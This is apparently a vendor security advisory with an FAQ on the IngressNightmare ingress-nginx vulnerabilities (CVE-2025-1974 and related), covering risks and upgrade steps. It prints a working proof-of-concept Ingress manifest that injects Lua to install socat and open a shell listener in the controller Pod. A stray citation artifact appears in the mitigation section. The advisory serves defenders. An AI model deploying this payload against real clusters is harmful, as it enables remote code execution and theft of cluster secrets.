Frequently Asked Questions

Vulnerabilities & Security Risks

What are CVE-2025-1974, CVE-2025-1097, CVE-2025-1098, and CVE-2025-24514?

These four critical vulnerabilities, collectively known as IngressNightmare, affect the Kubernetes ingress-nginx controller prior to v1.11.5 / v1.12.1. They stem from unsanitized Ingress annotations and admission-webhook inputs, allowing attackers to inject arbitrary NGINX directives into the auto-generated nginx.conf. This can lead to remote code execution (RCE), secret theft, lateral movement, and full cluster compromise. For details, see the IONIX blog post.

What is the CVSS score for the CVE-2025-1974 vulnerability?

The CVSS 3.1 score for CVE-2025-1974 is 9.8 (Critical). This vulnerability involves a webhook/validating-admission bypass and is patched in controller versions v1.11.5 and v1.12.1.

What is the proof-of-concept exploit for CVE-2025-1098?

The proof-of-concept exploit for CVE-2025-1098 involves creating an Ingress object with malicious annotations, such as nginx.ingress.kubernetes.io/mirror-target. This annotation can inject Lua code to spawn a reverse shell inside the controller Pod, allowing attackers to pivot to the Kubernetes API using the mounted token.

What is the impact of CVE-2025-1974 on Kubernetes clusters?

CVE-2025-1974 allows attackers to post a crafted AdmissionReview object directly to the validating-webhook, exposing a code-injection point without creating an Ingress object. This can compromise clusters even if workloads have no RBAC rights.

What are the risks associated with these vulnerabilities?

Risks include secret and credential theft (potentially exposing every credential stored in the cluster), full cluster compromise (attackers can create privileged pods, deploy cryptominers, or tamper with supply-chain pipelines), persistent backdoors (malicious NGINX directives survive across Pod restarts until the controller image is upgraded), and regulatory impact (unauthorized access to sensitive data may trigger breach-notification obligations and fines).

What mitigation steps should be taken for these vulnerabilities?

Mitigation steps include upgrading the ingress-nginx controller to v1.11.5 or v1.12.1, enabling strict annotation validation, trimming ServiceAccount privileges, network-segmenting the controller, and deploying the IONIX Exposure Management Platform for continuous discovery, validation, and prioritized remediation of vulnerable ingress controllers. For details, see the IONIX blog post.

Exploited! Ingress-NGINX CONTROLLER FOR Ingress-NGINX RCE (CVE-2025-1974, 1097, 1098, 24514) – Patch Now | IONIX

Amit Sheps

March 23, 2025
Alert: Multiple remote code execution vulnerabilities in Ingress Nginx Controller for Kubernetes have been exploited.

Kubernetes ingress-nginx has disclosed a cluster of critical vulnerabilities—CVE-2025-1974, CVE-2025-1097, CVE-2025-1098, and CVE-2025-24514—impacting all controller releases prior to v1.11.5 / v1.12.1. The flaws stem from insufficient sanitization of Ingress annotations and admission-webhook inputs, allowing attackers to inject arbitrary NGINX directives into the auto-generated nginx.conf. Successful exploitation can escalate to full remote-code execution in the controller Pod, facilitating secret theft, lateral movement, and complete cluster takeover.

What are CVE-2025-1974, CVE-2025-1097, CVE-2025-1098 & CVE-2025-24514?

Four high-impact flaws—collectively dubbed IngressNightmare—affect the Kubernetes ingress-nginx controller prior to v1.11.5 / v1.12.1. All stem from unsanitised Ingress annotations that the admission controller copies verbatim into the generated nginx.conf, enabling arbitrary directive injection and Remote Code Execution (RCE):

CVEAnnotation vectorCVSS 3.1Patched in
2025-1974Webhook / validating‐admission bypass9.8 Critical1.11.5 / 1.12.1
2025-1097auth-tls-match-cn8.8 High1.11.5 / 1.12.1
2025-1098mirror-target, mirror-host8.8 High1.11.5 / 1.12.1
2025-24514auth-url8.8 High1.11.5 / 1.12.1

Because the controller ServiceAccount typically holds cluster-wide Secret read permissions, successful exploitation grants attackers access to every credential stored in the cluster.

Exploiting the Vulnerability

Below is a minimal proof-of-concept Ingress that weaponises CVE-2025-1098 (the annotation changes for the other CVEs):

apiVersion: networking.k8s.io/v1

kind: Ingress

metadata:

  name: pwn-nginx

  annotations:

    nginx.ingress.kubernetes.io/mirror-target: |

      ;lua_shared_dict ionix 10m;

      init_by_lua_block {

        os.execute("apk add --no-cache socat");

        os.execute("socat tcp-listen:4444,reuseaddr,fork exec:/bin/sh &");

      };

spec:

  rules:

  - host: vulnerable.demo

    http:

      paths:

      - path: /

        pathType: Prefix

        backend:

          service:

            name: demo

            port:

              number: 80
  1. The semicolon (;) terminates the expected directive.
  2. Attacker-controlled Lua code is appended, spawning a reverse shell inside the controller Pod.
  3. On reload, NGINX executes the payload with the controller’s privileges, letting the attacker pivot to the Kubernetes API using the mounted token.

CVE-2025-1974 is even deadlier: a crafted AdmissionReview object posted directly to the validating-webhook exposes the same code-injection point without creating an Ingress object first, so even workloads with no RBAC rights can compromise the cluster.

Potential Risks

  • Secret & credential theft – every Secret the controller can access (often the whole cluster) is exposed.
  • Full cluster compromise – with a valid token, attackers can create privileged pods, deploy cryptominers, or tamper with supply-chain pipelines.
  • Persistent backdoors – malicious NGINX directives survive across Pod restarts until the controller image is upgraded.
  • Regulatory impact – unauthorised access to PII, PHI, or cardholder data may trigger breach-notification obligations and hefty fines.

Mitigation Steps

  1. Upgrade immediately
helm repo update ingress-nginx
helm upgrade nginx ingress-nginx/ingress-nginx \
  --version 4.13.0          # ships controller 1.12.1

Fixed controller tags: v1.11.5 and v1.12.1. citeturn2search0turn3search2

  1. Enable strict annotation validation
controller:
  extraArgs:
    enable-annotation-validation: "true"
  1. Trim ServiceAccount privileges

Bind the controller to a namespace-scoped Role that only watches Ingresses; block cluster-wide secrets access.

  1. Network-segment the controller

Deny egress except to the API server; use NetworkPolicies or CNI firewalls to prevent pod-to-controller traffic.

  1. Continuous Threat Exposure Management

Deploy the IONIX Exposure Management Platform to continuously discover vulnerable ingress controllers, validate exploitability, and drive prioritized, automated remediation across the attack surface.
